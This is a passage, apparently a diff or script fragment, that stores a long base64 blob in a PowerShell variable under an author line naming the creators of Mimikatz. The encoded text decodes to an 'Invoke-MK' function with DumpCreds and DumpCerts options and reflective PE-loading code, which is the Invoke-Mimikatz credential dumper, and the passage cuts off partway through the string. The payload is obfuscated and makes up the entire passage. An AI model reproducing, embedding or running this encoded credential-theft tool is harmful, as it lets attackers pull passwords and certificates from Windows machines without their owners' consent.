==" + +# Author: @JosephBialek & @gentilkiwi +$mk = "ZnVuY3Rpb24gSW52b2tlLU1LDQp7DQoNCltDbWRsZXRCaW5kaW5nKERlZmF1bHRQYXJhbWV0ZXJTZXROYW1lPSJEdW1wQ3JlZHMiKV0NClBhcmFtKA0KCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwKV0NCglbU3RyaW5nW11dDQoJJENvbXB1dGVyTmFtZSwNCg0KICAgIFtQYXJhbWV0ZXIoUGFyYW1ldGVyU2V0TmFtZSA9ICJEdW1wQ3JlZHMiLCBQb3NpdGlvbiA9IDEpXQ0KICAgIFtTd2l0Y2hdDQogICAgJER1bXBDcmVkcywNCg0KICAgIFtQYXJhbWV0ZXIoUGFyYW1ldGVyU2V0TmFtZSA9ICJEdW1wQ2VydHMiLCBQb3NpdGlvbiA9IDEpXQ0KICAgIFtTd2l0Y2hdDQogICAgJER1bXBDZXJ0cywNCg0KICAgIFtQYXJhbWV0ZXIoUGFyYW1ldGVyU2V0TmFtZSA9ICJDdXN0b21Db21tYW5kIiwgUG9zaXRpb24gPSAxKV0NCiAgICBbU3RyaW5nXQ0KICAgICRDb21tYW5kDQopDQoNClNldC1TdHJpY3RNb2RlIC1WZXJzaW9uIDINCg0KDQokUmVtb3RlU2NyaXB0QmxvY2sgPSB7DQoJW0NtZGxldEJpbmRpbmcoKV0NCglQYXJhbSgNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW1N0cmluZ10NCgkJJFBFQnl0ZXM2NCwNCg0KICAgICAgICBbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3RyaW5nXQ0KCQkkUEVCeXRlczMyLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICRmYWxzZSldDQoJCVtTdHJpbmddDQoJCSRGdW5jUmV0dXJuVHlwZSwNCgkJCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDMsIE1hbmRhdG9yeSA9ICRmYWxzZSldDQoJCVtJbnQzMl0NCgkJJFByb2NJZCwNCgkJDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSA0LCBNYW5kYXRvcnkgPSAkZmFsc2UpXQ0KCQlbU3RyaW5nXQ0KCQkkUHJvY05hbWUsDQoNCiAgICAgICAgW1BhcmFtZXRlcihQb3NpdGlvbiA9IDUsIE1hbmRhdG9yeSA9ICRmYWxzZSldDQogICAgICAgIFtTdHJpbmddDQogICAgICAgICRFeGVBcmdzDQoJKQ0KCQ0KCSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoJIyMjIyMjIyMjIyAgV2luMzIgU3R1ZmYgICMjIyMjIyMjIyMNCgkjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCUZ1bmN0aW9uIEdldC1XaW4zMlR5cGVzDQoJew0KCQkkV2luMzJUeXBlcyA9IE5ldy1PYmplY3QgU3lzdGVtLk9iamVjdA0KDQoJCSNEZWZpbmUgYWxsIHRoZSBzdHJ1Y3R1cmVzL2VudW1zIHRoYXQgd2lsbCBiZSB1c2VkDQoJCSMJVGhpcyBhcnRpY2xlIHNob3dzIHlvdSBob3cgdG8gZG8gdGhpcyB3aXRoIHJlZmxlY3Rpb246IGh0dHA6Ly93d3cuZXhwbG9pdC1tb25kYXkuY29tLzIwMTIvMDcvc3RydWN0cy1hbmQtZW51bXMtdXNpbmctcmVmbGVjdGlvbi5odG1sDQoJCSREb21haW4gPSBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbg0KCQkkRHluYW1pY0Fzc2VtYmx5ID0gTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseU5hbWUoJ0R5bmFtaWNBc3NlbWJseScpDQoJCSRBc3NlbWJseUJ1aWxkZXIgPSAkRG9tYWluLkRlZmluZUR5bmFtaWNBc3NlbWJseSgkRHluYW1pY0Fzc2VtYmx5LCBbU3lzdGVtLlJlZmxlY3Rpb24uRW1pdC5Bc3NlbWJseUJ1aWxkZXJBY2Nlc3NdOjpSdW4pDQoJCSRNb2R1bGVCdWlsZGVyID0gJEFzc2VtYmx5QnVpbGRlci5EZWZpbmVEeW5hbWljTW9kdWxlKCdEeW5hbWljTW9kdWxlJywgJGZhbHNlKQ0KCQkkQ29uc3RydWN0b3JJbmZvID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsQXNBdHRyaWJ1dGVdLkdldENvbnN0cnVjdG9ycygpWzBdDQoNCg0KCQkjIyMjIyMjIyMjIyMgICAgRU5VTSAgICAjIyMjIyMjIyMjIyMNCgkJI0VudW0gTWFjaGluZVR5cGUNCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lRW51bSgnTWFjaGluZVR5cGUnLCAnUHVibGljJywgW1VJbnQxNl0pDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdOYXRpdmUnLCBbVUludDE2XSAwKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJMzg2JywgW1VJbnQxNl0gMHgwMTRjKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJdGFuaXVtJywgW1VJbnQxNl0gMHgwMjAwKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCd4NjQnLCBbVUludDE2XSAweDg2NjQpIHwgT3V0LU51bGwNCgkJJE1hY2hpbmVUeXBlID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQ0KCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1hY2hpbmVUeXBlIC1WYWx1ZSAkTWFjaGluZVR5cGUNCg0KCQkjRW51bSBNYWdpY1R5cGUNCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lRW51bSgnTWFnaWNUeXBlJywgJ1B1YmxpYycsIFtVSW50MTZdKQ0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfTlRfT1BUSU9OQUxfSERSMzJfTUFHSUMnLCBbVUludDE2XSAweDEwYikgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfTlRfT1BUSU9OQUxfSERSNjRfTUFHSUMnLCBbVUludDE2XSAweDIwYikgfCBPdXQtTnVsbA0KCQkkTWFnaWNUeXBlID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQ0KCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1hZ2ljVHlwZSAtVmFsdWUgJE1hZ2ljVHlwZQ0KDQoJCSNFbnVtIFN1YlN5c3RlbVR5cGUNCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lRW51bSgnU3ViU3lzdGVtVHlwZScsICdQdWJsaWMnLCBbVUludDE2XSkNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX1NVQlNZU1RFTV9VTktOT1dOJywgW1VJbnQxNl0gMCkgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfU1VCU1lTVEVNX05BVElWRScsIFtVSW50MTZdIDEpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX1NVQlNZU1RFTV9XSU5ET1dTX0dVSScsIFtVSW50MTZdIDIpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX1NVQlNZU1RFTV9XSU5ET1dTX0NVSScsIFtVSW50MTZdIDMpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX1NVQlNZU1RFTV9QT1NJWF9DVUknLCBbVUludDE2XSA3KSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fV0lORE9XU19DRV9HVUknLCBbVUludDE2XSA5KSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fRUZJX0FQUExJQ0FUSU9OJywgW1VJbnQxNl0gMTApIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX1NVQlNZU1RFTV9FRklfQk9PVF9TRVJWSUNFX0RSSVZFUicsIFtVSW50MTZdIDExKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fRUZJX1JVTlRJTUVfRFJJVkVSJywgW1VJbnQxNl0gMTIpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX1NVQlNZU1RFTV9FRklfUk9NJywgW1VJbnQxNl0gMTMpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX1NVQlNZU1RFTV9YQk9YJywgW1VJbnQxNl0gMTQpIHwgT3V0LU51bGwNCgkJJFN1YlN5c3RlbVR5cGUgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpDQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgU3ViU3lzdGVtVHlwZSAtVmFsdWUgJFN1YlN5c3RlbVR5cGUNCg0KCQkjRW51bSBEbGxDaGFyYWN0ZXJpc3RpY3NUeXBlDQoJCSRUeXBlQnVpbGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZUVudW0oJ0RsbENoYXJhY3RlcmlzdGljc1R5cGUnLCAnUHVibGljJywgW1VJbnQxNl0pDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdSRVNfMCcsIFtVSW50MTZdIDB4MDAwMSkgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnUkVTXzEnLCBbVUludDE2XSAweDAwMDIpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ1JFU18yJywgW1VJbnQxNl0gMHgwMDA0KSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdSRVNfMycsIFtVSW50MTZdIDB4MDAwOCkgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMX0NIQVJBQ1RFUklTVElDU19EWU5BTUlDX0JBU0UnLCBbVUludDE2XSAweDAwNDApIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX0RMTF9DSEFSQUNURVJJU1RJQ1NfRk9SQ0VfSU5URUdSSVRZJywgW1VJbnQxNl0gMHgwMDgwKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJTUFHRV9ETExfQ0hBUkFDVEVSSVNUSUNTX05YX0NPTVBBVCcsIFtVSW50MTZdIDB4MDEwMCkgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMQ0hBUkFDVEVSSVNUSUNTX05PX0lTT0xBVElPTicsIFtVSW50MTZdIDB4MDIwMCkgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMQ0hBUkFDVEVSSVNUSUNTX05PX1NFSCcsIFtVSW50MTZdIDB4MDQwMCkgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMQ0hBUkFDVEVSSVNUSUNTX05PX0JJTkQnLCBbVUludDE2XSAweDA4MDApIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ1JFU180JywgW1VJbnQxNl0gMHgxMDAwKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJTUFHRV9ETExDSEFSQUNURVJJU1RJQ1NfV0RNX0RSSVZFUicsIFtVSW50MTZdIDB4MjAwMCkgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMQ0hBUkFDVEVSSVNUSUNTX1RFUk1JTkFMX1NFUlZFUl9BV0FSRScsIFtVSW50MTZdIDB4ODAwMCkgfCBPdXQtTnVsbA0KCQkkRGxsQ2hhcmFjdGVyaXN0aWNzVHlwZSA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkNCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBEbGxDaGFyYWN0ZXJpc3RpY3NUeXBlIC1WYWx1ZSAkRGxsQ2hhcmFjdGVyaXN0aWNzVHlwZQ0KDQoJCSMjIyMjIyMjIyMjICAgIFNUUlVDVCAgICAjIyMjIyMjIyMjIw0KCQkjU3RydWN0IElNQUdFX0RBVEFfRElSRUNUT1JZDQoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQsIEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgRXhwbGljaXRMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0Jw0KCQkkVHlwZUJ1aWxkZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9EQVRBX0RJUkVDVE9SWScsICRBdHRyaWJ1dGVzLCBbU3lzdGVtLlZhbHVlVHlwZV0sIDgpDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1ZpcnR1YWxBZGRyZXNzJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDApIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg0KSB8IE91dC1OdWxsDQoJCSRJTUFHRV9EQVRBX0RJUkVDVE9SWSA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkNCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9EQVRBX0RJUkVDVE9SWSAtVmFsdWUgJElNQUdFX0RBVEFfRElSRUNUT1JZDQoNCgkJI1N0cnVjdCBJTUFHRV9GSUxFX0hFQURFUg0KCQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNlcXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0Jw0KCQkkVHlwZUJ1aWxkZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9GSUxFX0hFQURFUicsICRBdHRyaWJ1dGVzLCBbU3lzdGVtLlZhbHVlVHlwZV0sIDIwKQ0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01hY2hpbmUnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJPZlNlY3Rpb25zJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnVGltZURhdGVTdGFtcCcsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1BvaW50ZXJUb1N5bWJvbFRhYmxlJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTnVtYmVyT2ZTeW1ib2xzJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mT3B0aW9uYWxIZWFkZXInLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdDaGFyYWN0ZXJpc3RpY3MnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJElNQUdFX0ZJTEVfSEVBREVSID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQ0KCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX0ZJTEVfSEVBREVSIC1WYWx1ZSAkSU1BR0VfRklMRV9IRUFERVINCg0KCQkjU3RydWN0IElNQUdFX09QVElPTkFMX0hFQURFUjY0DQoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQsIEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgRXhwbGljaXRMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0Jw0KCQkkVHlwZUJ1aWxkZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9PUFRJT05BTF9IRUFERVI2NCcsICRBdHRyaWJ1dGVzLCBbU3lzdGVtLlZhbHVlVHlwZV0sIDI0MCkNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFnaWMnLCAkTWFnaWNUeXBlLCAnUHVibGljJykpLlNldE9mZnNldCgwKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9yTGlua2VyVmVyc2lvbicsIFtCeXRlXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNaW5vckxpbmtlclZlcnNpb24nLCBbQnl0ZV0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDMpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mQ29kZScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg0KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkluaXRpYWxpemVkRGF0YScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg4KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZlVuaW5pdGlhbGl6ZWREYXRhJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0FkZHJlc3NPZkVudHJ5UG9pbnQnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTYpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQmFzZU9mQ29kZScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCgyMCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdJbWFnZUJhc2UnLCBbVUludDY0XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjQpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2VjdGlvbkFsaWdubWVudCcsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCgzMikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdGaWxlQWxpZ25tZW50JywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDM2KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9yT3BlcmF0aW5nU3lzdGVtVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNldCg0MCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNaW5vck9wZXJhdGluZ1N5c3RlbVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDIpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFqb3JJbWFnZVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDQpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWlub3JJbWFnZVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDYpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFqb3JTdWJzeXN0ZW1WZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQ4KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01pbm9yU3Vic3lzdGVtVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNldCg1MCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdXaW4zMlZlcnNpb25WYWx1ZScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg1MikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZJbWFnZScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg1NikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZIZWFkZXJzJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDYwKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0NoZWNrU3VtJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDY0KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1N1YnN5c3RlbScsICRTdWJTeXN0ZW1UeXBlLCAnUHVibGljJykpLlNldE9mZnNldCg2OCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdEbGxDaGFyYWN0ZXJpc3RpY3MnLCAkRGxsQ2hhcmFjdGVyaXN0aWNzVHlwZSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNzApIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mU3RhY2tSZXNlcnZlJywgW1VJbnQ2NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDcyKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZlN0YWNrQ29tbWl0JywgW1VJbnQ2NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDgwKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkhlYXBSZXNlcnZlJywgW1VJbnQ2NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDg4KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkhlYXBDb21taXQnLCBbVUludDY0XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoOTYpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTG9hZGVyRmxhZ3MnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTA0KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ051bWJlck9mUnZhQW5kU2l6ZXMnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTA4KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0V4cG9ydFRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxMTIpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnSW1wb3J0VGFibGUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyMCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdSZXNvdXJjZVRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxMjgpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnRXhjZXB0aW9uVGFibGUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEzNikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdDZXJ0aWZpY2F0ZVRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxNDQpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQmFzZVJlbG9jYXRpb25UYWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTUyKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RlYnVnJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxNjApIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQXJjaGl0ZWN0dXJlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxNjgpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnR2xvYmFsUHRyJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxNzYpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnVExTVGFibGUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDE4NCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdMb2FkQ29uZmlnVGFibGUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDE5MikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdCb3VuZEltcG9ydCcsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjAwKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0lBVCcsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjA4KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RlbGF5SW1wb3J0RGVzY3JpcHRvcicsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjE2KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0NMUlJ1bnRpbWVIZWFkZXInLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDIyNCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdSZXNlcnZlZCcsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5